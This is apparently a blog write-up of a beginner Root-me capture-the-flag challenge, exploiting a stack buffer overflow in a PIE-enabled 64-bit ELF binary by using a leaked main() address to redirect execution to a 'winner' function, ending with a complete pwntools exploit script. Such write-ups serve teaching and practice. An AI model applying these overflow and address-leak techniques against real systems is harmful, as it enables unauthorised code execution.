ELF x64 — Stack buffer overflow — PIE Rootme (App-System)
NOTE: No flag here :)
Hello PWN enthusiasts. This is a beginner-level challenge from Root-me. But that word “PIE” kinda made me think this challenge was hard.
Let us do the basic checks like file type and memory protection.
We have a 64bit binary that is dynamically linked and not stripped. Makes our life easier. We have NX enabled and Pie enabled(Expected :)). So let us try running the binary and see what output it gives us.
We have a main() function address leak here! But this address changes as PIE is enabled. PIE is nothing but an ASLR for binary. It randomizes the address of contents inside binary every time we execute. So we cannot use this leak as it is.
Let us see the other functions available in the binary.
We can see a winner function. Let’s see how we can call this.
We have a Scanf towards the end which we could use for our exploit. For that we first find the buffer overflow offset to reach the RIP/Return region to call the function.
We can see the RBP has been overwritten with “iaaajaaa”. So we could find the pattern match in our input and add 8 to reach RIP.
So 32 + 8 = 40 to overflow and reach RIP region. Now we can call the Winner function. But not directly as the address gets randomized each and every time we execute the binary.
So to bypass this we can use the leaked address. Find the Difference between the Winner function and the main function. This always remains constant and we can use this in our exploit.
So if you subtract 160 from the main, We will reach the Winner function always and this 160 always remain constant. So If we find the difference between leak address — 160. We can get the winner function.
Let’s build our exploit.
from pwn import *
context.bits = 64overwrite = b"A"*40p = process("./ch83")print(p.recvline())
First I need to check where my address is getting leaked and then align it so that I can use it in my exploit.
Running the above code gives me this.
So the second recvline is giving us the address.
leak = (p.recvline().split(b"0x")[-1].strip())
leak = int(b"0x"+leak,16) # adds 0x and makes into intprint("leak = " + hex(leak))
This splits my output by taking 0x as a reference and forms a list. Now the last index has my address. Strip removes any newline char. Then add an “0x” and convert it to an int value.
Now we can subtract 160 from it which is the winner function.
My final exploit is
from pwn import *
context.bits = 64 p = process("./ch83")overwrite = b"A"*40 p.recvline() leak = (p.recvline().split(b"0x")[-1].strip()) leak = int(b"0x"+leak,16) print(hex(leak)) winner = leak - 160 payload = overwrite + p64(winner) p.sendline(payload) p.interactive()
Running this should give my flag.
There we go!
Hope you understood the challenge. Do check out my other blogs.
Don’t forget to give some claps if you reached here :) Follow me for more write-ups.